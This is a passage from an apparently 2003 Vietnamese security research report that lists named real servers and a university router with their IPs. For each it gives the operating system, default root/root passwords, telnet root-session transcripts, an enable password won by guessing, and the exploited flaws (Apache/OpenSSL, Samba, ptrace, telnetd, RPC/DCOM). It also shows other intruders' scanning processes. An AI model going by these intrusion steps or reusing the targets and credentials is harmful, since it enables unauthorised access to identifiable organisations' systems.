2. hostname: ha_eipa
3. Remote exploit: password đơn giản, user root, password root

iii. ha_eipb
1. hệ điều hành: Solaris 7
2. hostname: ha_eipb
3. Remote exploit: password đơn giản, user root, password root

iv. Smschoa
1. hệ điều hành: HP-UX
2. hostname: smschoa
3. Local IP: 10.1.80.12
4. Remote exploit: password đơn giản, user root, password root
ho_eipa# telnet 10.1.80.12
Trying 10.1.80.12...
Connected to 10.1.80.12.
Escape character is '^]'.
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
17

HP-UX smschoa B.11.00 U 9000/800 (tb)

login: root
Password:
Please wait...checking for disk quotas

(c)Copyright 1983-1997 Hewlett-Packard Co., All Rights Reserved.
(c)Copyright 1979, 1980, 1983, 1985-1993 The Regents of the Univ. of
California
(c)Copyright 1980, 1984, 1986 Novell, Inc.
(c)Copyright 1986-1992 Sun Microsystems, Inc.
(c)Copyright 1985, 1986, 1988 Massachusetts Institute of Technology
(c)Copyright 1989-1993 The Open Software Foundation, Inc.
(c)Copyright 1986 Digital Equipment Corp.
(c)Copyright 1990 Motorola, Inc.
(c)Copyright 1990, 1991, 1992 Cornell University
(c)Copyright 1989-1991 The University of Maryland
(c)Copyright 1988 Carnegie Mellon University
(c)Copyright 1991-1997 Mentat, Inc.
(c)Copyright 1996 Morning Star Technologies, Inc.
(c)Copyright 1996 Progressive Systems, Inc.
(c)Copyright 1997 Isogon Corporation


RESTRICTED RIGHTS LEGEND
Use, duplication, or disclosure by the U.S. Government is subject to
restrictions as set forth in sub-paragraph (c)(1)(ii) of the Rights
in
Technical Data and Computer Software clause in DFARS 252.227-7013.


Hewlett-Packard Company
3000 Hanover Street
Palo Alto, CA 94304 U.S.A.

Rights for non-DOD U.S. Government Departments and Agencies are as

set
forth in FAR 52.227-19(c)(1,2).
You have mail.

Value of TERM has been set to "vt100".
WARNING: YOU ARE SUPERUSER !!

smschoa:root> w
2:02pm up 49 days, 13:03, 1 user, load average: 4.32, 3.84,
5.02
User tty login@ idle JCPU PCPU what
root pts/tb 2:02p

v. Smschob
1. hệ điều hành: HP-UX
2. hostname: smschob
3. Local IP: 10.1.80.13
4. Remote exploit: password đơn giản, user root, password root
smschoa:root> arp -a
smschob (192.1.1.3) at 0:30:6e:1e:ed:2e ether
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
18
10.1.80.1 (10.1.80.1) at 0:0:c:7:ac:50 ether
smschob (10.1.80.13) at 0:30:6e:1e:ed:5e ether
smschoa:root> telnet 10.1.80.13
Trying...
Connected to 10.1.80.13.
Escape character is '^]'.
Local flow control on
Telnet TERMINAL-SPEED option ON

HP-UX smschob B.11.00 U 9000/800 (ta)

login: root
Password:
Please wait...checking for disk quotas
(c)Copyright 1983-1997 Hewlett-Packard Co., All Rights Reserved.
(c)Copyright 1979, 1980, 1983, 1985-1993 The Regents of the Univ. of
California
(c)Copyright 1980, 1984, 1986 Novell, Inc.
(c)Copyright 1986-1992 Sun Microsystems, Inc.
(c)Copyright 1985, 1986, 1988 Massachusetts Institute of Technology
(c)Copyright 1989-1993 The Open Software Foundation, Inc.
(c)Copyright 1986 Digital Equipment Corp.
(c)Copyright 1990 Motorola, Inc.
(c)Copyright 1990, 1991, 1992 Cornell University
(c)Copyright 1989-1991 The University of Maryland
(c)Copyright 1988 Carnegie Mellon University
(c)Copyright 1991-1997 Mentat, Inc.
(c)Copyright 1996 Morning Star Technologies, Inc.
(c)Copyright 1996 Progressive Systems, Inc.
(c)Copyright 1997 Isogon Corporation


RESTRICTED RIGHTS LEGEND
Use, duplication, or disclosure by the U.S. Government is subject to
restrictions as set forth in sub-paragraph (c)(1)(ii) of the Rights
in
Technical Data and Computer Software clause in DFARS 252.227-7013.

Hewlett-Packard Company
3000 Hanover Street
Palo Alto, CA 94304 U.S.A.

Rights for non-DOD U.S. Government Departments and Agencies are as
set
forth in FAR 52.227-19(c)(1,2).
You have mail.

Value of TERM has been set to "vt100".
WARNING: YOU ARE SUPERUSER !!

smschob:root> w
2:24pm up 101 days, 2:30, 1 user, load average: 0.59, 0.37,
0.35
User tty login@ idle JCPU PCPU what
root pts/ta 2:24pm w
smschob:root>
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
19

4) 203.162.45.152 (FPT)
a. Hệ điều hành: RedHat Linux 7.2
b. Lỗi remote: Apache + openssl
Lỗi này đã được thông báo trên internet khá lâu, các web server chạy apache version
dưới 1.3.27 và openssl có version cũ hơn 0.9.6.
Exploit code cũng đã được public trên các site hacker, security.
Khai thác thành công lỗi này ta có được shell dưới quyền user chạy apache qua port
80 ( thông thường là user apache ).

Đối với server này ta chiếm được shell với quyền của user apache. Tiếp theo ta đưa
chương trình khai thác lỗi local vào để chiếm quyền root.

c. Lỗi local: ptrace
Đa số các kernel Linux version nhỏ hơn 2.4.20 đều bị lỗi này, nếu kernel được biên
dịch lại từ source thì không bị lỗi.

5) 203.162.42.67 ( sng.pwc.com.vn)
a. Hệ điều hành: RedHat Linux 9.0
b. Local IP: 10.161.16.254
c. Lỗi remote: Samba exploit
Lỗi remote Samba trên server này cho phép ta chiếm được shell với quyền root.
Server này là gateway và proxy server, có 02 card mạng
Copy màn hình thực hiện và file /etc/passwd, /etc/shadow

6) 203.162.35.75 (mail.ittivietnam.com)
a. Hệ điều hành: RedHat Linux 7.1
b. Lỗi remote: Samba, apache+ssl
Server này bị xâm nhập thành công qua lỗi apache (version 1.3.23). Chiếm được
remote shell dưới quyền user apache.
c. Lỗi local: ptrace
d. Các backdoor do hacker khác để lại
Khi xâm nhập vào hệ thống, và chiếm quyền root, một số backdoor do các hacker
xâm nhập vào đã được tìm thấy, các file quan trọng trên hệ thống như ls, netstat,
ifconfig đều đã bị thay thế. Trong các lần thâm nhập vào, ta có thể phát hiện ra việc
các hacker dùng server này để scan và làm bàn đạp tấn công các server khác:
Dùng lệnh ps có thể phát hiện ra các proccess dùng để scan này.

bash-2.05a# ps ax|more
PID TTY STAT TIME COMMAND

1 ? S 0:06 init
2 ? SW 0:00 [keventd]
3 ? SWN 0:00 [ksoftirqd_CPU0]
4 ? SW 0:00 [kswapd]
5 ? SW 0:00 [bdflush]
6 ? SW 0:00 [kupdated]
7 ? SW 0:00 [mdrecoveryd]
15 ? SW 0:16 [kjournald]
99 ? SW 0:00 [khubd]
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
20
227 ? SW 0:00 [kjournald]
228 ? SW 0:01 [kjournald]
229 ? SW 0:00 [kjournald]
727 ? S 0:08 syslogd -m 0
732 ? S 0:01 klogd -x
1274 ? S 0:00 CROND
1275 ? S 0:00 /bin/bash /usr/bin/run-parts
/etc/cron.hourly
1288 ? S 0:00 /bin/bash /etc/cron.hourly/openwebmail.cron
1289 ? S 0:00 awk -v
progname=/etc/cron.hourly/openwebmail.cron progn
1290 ? S 0:00 /usr/bin/suidperl -T /dev/fd/3//var/www/cgi-
bin/openweb
1291 ? Z 0:00 [awk <zombie>]
1300 ? T 0:00 /bin/hostname
1301 ? Z 0:00 [hostname <zombie>]
1388 ? S 0:00 /usr/sbin/sshd
1421 ? S 0:03 xinetd -stayalive -reuse -pidfile
/var/run/xinetd.pid

1462 ? S 0:00 sendmail: accepting connections
1481 ? S 0:00 gpm -t ps/2 -m /dev/mouse
1504 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -
DHAVE_AUTH_
1530 ? S 0:00 crond
1663 ? S 0:00 rhnsd --interval 120
1670 2 S 0:00 /sbin/mingetty tty2
1671 3 S 0:00 /sbin/mingetty tty3
1672 4 S 0:00 /sbin/mingetty tty4
1673 5 S 0:00 /sbin/mingetty tty5
1674 6 S 0:00 /sbin/mingetty tty6
1850 ? S 0:00 CROND
1851 ? S 0:00 /bin/bash /usr/bin/run-parts
/etc/cron.hourly
1864 ? S 0:00 /bin/bash /etc/cron.hourly/openwebmail.cron
1865 ? S 0:00 awk -v
progname=/etc/cron.hourly/openwebmail.cron progn
1866 ? S 0:00 /usr/bin/suidperl -T /dev/fd/3//var/www/cgi-
bin/openweb
1867 ? Z 0:00 [awk <zombie>]
1873 ? T 0:00 /bin/hostname
1874 ? Z 0:00 [hostname <zombie>]
2617 ? T 0:00 ./ssvuln 210.185.ssl 210.185.ssl.out 35
2625 ? Z 0:00 [ssvuln <zombie>]
2666 ? T 0:00 ./ssvuln 210.186.ssl 210.186.ssl.out 35
2678 ? Z 0:00 [ssvuln <zombie>]
2866 ? S 0:00 /usr/sbin/sshd
2873 ? S 0:00 -bash
2924 ? S 0:00 ls --color=tty
2938 ? S 0:00 /bin/sh ./assl 210.188

2939 ? R 1:47 ./pscan2 210.188 443
2940 ? T 0:00 ./pscan2 210.188 443
2941 ? Z 0:00 [pscan2 <zombie>]
2947 ? S 0:00 sendmail: server msr91.hinet.net
[168.95.4.191] child w
2948 ? S 0:00 sendmail: ./h7M0pMI02948 msr91.hinet.net
[168.95.4.191]
2954 ? S 0:00 sendmail: server [203.162.23.26] child wait
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
21
2957 ? S 0:00 sendmail: server [203.162.23.26] cmd read
2958 ? R 0:00 ps ax
2959 ? R 0:00 -bash
7581 1 S 0:00 /sbin/mingetty tty1
30246 ? S 0:00 -bash
30419 ? T 0:00 ./ssvuln 215.30.ssl 215.30.ssl.out 35
30423 ? Z 0:00 [ssvuln <zombie>]
30424 ? T 0:00 ./oops 215.30.ssl.out
30426 ? Z 0:00 [oops <zombie>]
30647 ? S 0:00 CROND
30648 ? S 0:00 /bin/bash /usr/bin/run-parts
/etc/cron.hourly
30659 ? S 0:00 /bin/bash /etc/cron.hourly/openwebmail.cron
30660 ? S 0:00 awk -v
progname=/etc/cron.hourly/openwebmail.cron progn
30661 ? S 0:00 /usr/bin/suidperl -T /dev/fd/3//var/www/cgi-
bin/openweb
30662 ? Z 0:00 [awk <zombie>]
30685 ? T 0:00 /bin/hostname
30686 ? Z 0:00 [hostname <zombie>]

31703 ? S 0:00 CROND
31704 ? S 0:00 /bin/bash /usr/bin/run-parts
/etc/cron.hourly
31717 ? S 0:00 /bin/bash /etc/cron.hourly/openwebmail.cron
31718 ? S 0:00 awk -v
progname=/etc/cron.hourly/openwebmail.cron progn
31719 ? S 0:00 /usr/bin/suidperl -T /dev/fd/3//var/www/cgi-
bin/openweb
31720 ? Z 0:00 [awk <zombie>]
31729 ? T 0:00 /bin/hostname
31730 ? Z 0:00 [hostname <zombie>]
32385 ? S 0:00 CROND
32386 ? S 0:00 /bin/bash /usr/bin/run-parts
/etc/cron.hourly
32399 ? S 0:00 /bin/bash /etc/cron.hourly/openwebmail.cron
32400 ? S 0:00 awk -v
progname=/etc/cron.hourly/openwebmail.cron progn
32401 ? S 0:00 /usr/bin/suidperl -T /dev/fd/3//var/www/cgi-
bin/openweb
32402 ? Z 0:00 [awk <zombie>]
32423 ? T 0:00 /bin/hostname
32424 ? Z 0:00 [hostname <zombie>]
32425 ? S 0:00 CROND
32426 ? S 0:00 /bin/bash /usr/bin/run-parts /etc/cron.daily
32589 ? S 0:00 /usr/sbin/sendmail -FCronDaemon -i -odi -oem
root
32615 ? S 0:00 awk -v
progname=/etc/cron.daily/makewhatis.cron prognam
32617 ? Z 0:00 [awk <zombie>]
32743 ? T 0:00 /usr/bin/awk

32748 ? Z 0:00 [awk <zombie>]
1643 ? S 0:00 /usr/sbin/atd
1363 ? S 0:00 named -u named
1365 ? S 0:00 named -u named
1366 ? S 0:00 named -u named
1367 ? S 0:00 named -u named
1368 ? S 0:00 named -u named
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
22
780 ? S 0:00 rpc.statd
752 ? S 0:00 portmap
1584 ? S 0:00 xfs -droppriv -daemon
1508 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY –
(bỏ bớt một số dòng tiếp theo)
bash-2.05a#


7) 203.162.33.35-router (Đại học sư phạm Tp HCM)
a. version IOS
dhsp#show version
Cisco Internetwork Operating System Software
IOS (tm) C2600 Software (C2600-I-M), Version 12.1(16), RELEASE
SOFTWARE (fc1)
Copyright (c) 1986-2002 by cisco Systems, Inc.
Compiled Tue 09-Jul-02 02:33 by kellythw
Image text-base: 0x80008088, data-base: 0x8082C938

ROM: System Bootstrap, Version 12.2(7r) [cmong 7r], RELEASE SOFTWARE
(fc1)

dhsp uptime is 1 week, 4 days, 9 hours, 28 minutes
System returned to ROM by power-on
System image file is "flash:c2600-i-mz.121-16.bin"

cisco 2620XM (MPC860) processor (revision 0x100) with 53248K/12288K
bytes of memory.
Processor board ID JAD07070YJF (2656094087)
M860 processor: part number 5, mask 2
Bridging software.
X.25 software, Version 3.0.0.
1 FastEthernet/IEEE 802.3 interface(s)
10 Low-speed serial(sync/async) network interface(s)
32K bytes of non-volatile configuration memory.
16384K bytes of processor board System flash (Read/Write)

Configuration register is 0x2102

b. lỗi bảo mật
Lỗi cơ bản nhất đó là không đặt password telnet, khi telnet vào
router ta được ngay ….
[root@bugsearch /]# telnet 203.162.35.33
Trying 203.162.35.33...
Connected to 203.162.35.33 (203.162.35.33).
Escape character is '^]'.

dhsp>

4.4 Bước tiếp theo, thử enable, password được hỏi, sau vài lần thử, ta thành công với
một password đơn giản.

[root@bugsearch /]# telnet 203.162.35.33
Trying 203.162.35.33...
Connected to 203.162.35.33 (203.162.35.33).
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
23
Escape character is '^]'.

dhsp>
dhsp>
dhsp>
dhsp>en
Password:
Password:
dhsp#
Với quyền này ta hoàn toàn có khả năng sửa đổi được cấu hình router, tuy nhiên vì
đây chưa phải là mục đích cuối cùng nên ta cần khai thác router để tìm cách tấn công
vào web server.

8) 203.162.17.97 (hot.vnn.vn)
Đây là server webhosting của vasc, có khá nhiều trang web được hosting trên server
này, kể cả www.bkav.com.vn (có thể tham khảo file httpd.conf).
a. Hệ điều hành: Solaris 7
b. Lỗi remote: Telnetd, bị khai thác và lấy remote shell dưới quyền user bin.
c. Lỗi local: priocntl
Tương tự như server suntest.vnnic.net, lỗi này cũng được khai thác thành công trên
server này.

9) 203.162.4.30 (VDC2)
a. Hệ điều hành: Solaris 7
b. Lỗi remote: telnetd

c. Lỗi local: printioctl

10) 203.162.0.41 ( radius.vnn.vn)
a. Hệ điều hành: Solaris 7
b. Lỗi remote: telnetd
c. Lỗi local: priocntl

11) 203.144.70.17 ( cambodia)
a. Hệ điều hành: Linux Suse
b. Lỗi remote: Samba
c. Lỗi local: ptrace


12) 203.162.17.142
a. Hệ điều hành: WindowNT
b. Lỗi bị khai thác: RPC, DCOM

date
Tue Jul 29 02:04:53 ICT 2003

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>mkdir bg
mkdir bg
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
24

C:\WINNT\system32>dir
dir

Volume in drive C is VIB
Volume Serial Number is 381C-0A3F

Directory of C:\WINNT\system32

07/29/2003 01:08a <DIR> .
07/29/2003 01:08a <DIR> ..
12/03/2002 04:16p 1,070 $winnt$.inf
06/27/2001 01:47p 2,151 12520437.cpx
06/27/2001 01:47p 2,233 12520850.cpx
06/10/1999 02:50p 437,528 401COMUPD.EXE
12/07/1999 12:00p 32,016 aaaamon.dll
12/07/1999 12:00p 67,344 access.cpl
08/29/2002 07:06a 64,512 acctres.dll
12/07/1999 12:00p 150,800 accwiz.exe
12/07/1999 12:00p 61,952 acelpdec.ax
12/07/1999 12:00p 131,856 acledit.dll
07/22/2002 12:05p 78,096 aclui.dll
12/07/1999 12:00p 4,368 acsetupc.dll
12/07/1999 12:00p 17,168 acsetups.exe

13) 203.162.17.142
a. Hệ điều hành: WindowNT
b. Lỗi bị khai thác: RPC, DCOM
date
Fri Aug 29 15:23:53 ICT 2003

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32>mkdir bg
mkdir bg

C:\WINNT\system32>cd d:
cd d:
D:\

C:\WINNT\system32>d:
d:
The device is not ready.

C:\WINNT\system32>e:
e:
The system cannot find the drive specified.

C:\WINNT\system32>dir c:\
dir c:\
Volume in drive C has no label.
Volume Serial Number is 5057-5682

Directory of c:\

11/07/2002 06:35p 2,975 1
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
25
11/07/2002 06:21p 0 a
11/06/2002 11:58a <DIR> Documents and Settings
11/06/2002 11:39a <DIR> Inetpub
04/08/2003 08:18a 13,030 PDOXUSRS.NET
02/28/2003 03:23p 3,072,573 pi_winproxy.exe

02/28/2003 03:24p <DIR> Program Files
01/15/2003 08:32a <DIR> SOFT
11/06/2002 04:39p <DIR> virus
02/27/2003 01:55p <DIR> WINNT
11/06/2002 05:03p 1,958 WinProxy.cfg
5 File(s) 3,090,536 bytes
6 Dir(s) 5,906,014,208 bytes free

C:\WINNT\system32>

14) 203.162.5.126
a. Hệ điều hành: WindowNT
b. Lỗi bị khai thác: RPC, DCOM

date 072823552003
Mon Jul 28 23:55:00 ICT 2003


Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

D:\WINNT\system32>mkdir bg
mkdir bg
A subdirectory or file bg already exists.

D:\WINNT\system32>c:
c:

C:\>dir
dir

Volume in drive C has no label.
Volume Serial Number is 947B-CC93

Directory of C:\

07/29/2003 02:05p <DIR> 111
07/02/2003 04:46p <DIR>
3797132a906c136b43bf566cd6582ae3
06/18/2003 05:05p <DIR> AMERIC
07/10/2003 11:50a <DIR> AuditNTPass
07/30/2003 08:12p <DIR> CISCO
04/23/2003 06:01p 6,694 CLDMA.LOG
11/21/2002 10:01a <DIR> Container
11/03/2002 02:09p <DIR> demo_CCNA
06/28/2003 03:41p <DIR> Download

15) 203.162.6.115 - www.cp.com.vn
a. Hệ điều hành: WindowNT
b. Lỗi bị khai thác: RPC, DCOM

Tue Jul 29 01:20:01 ICT 2003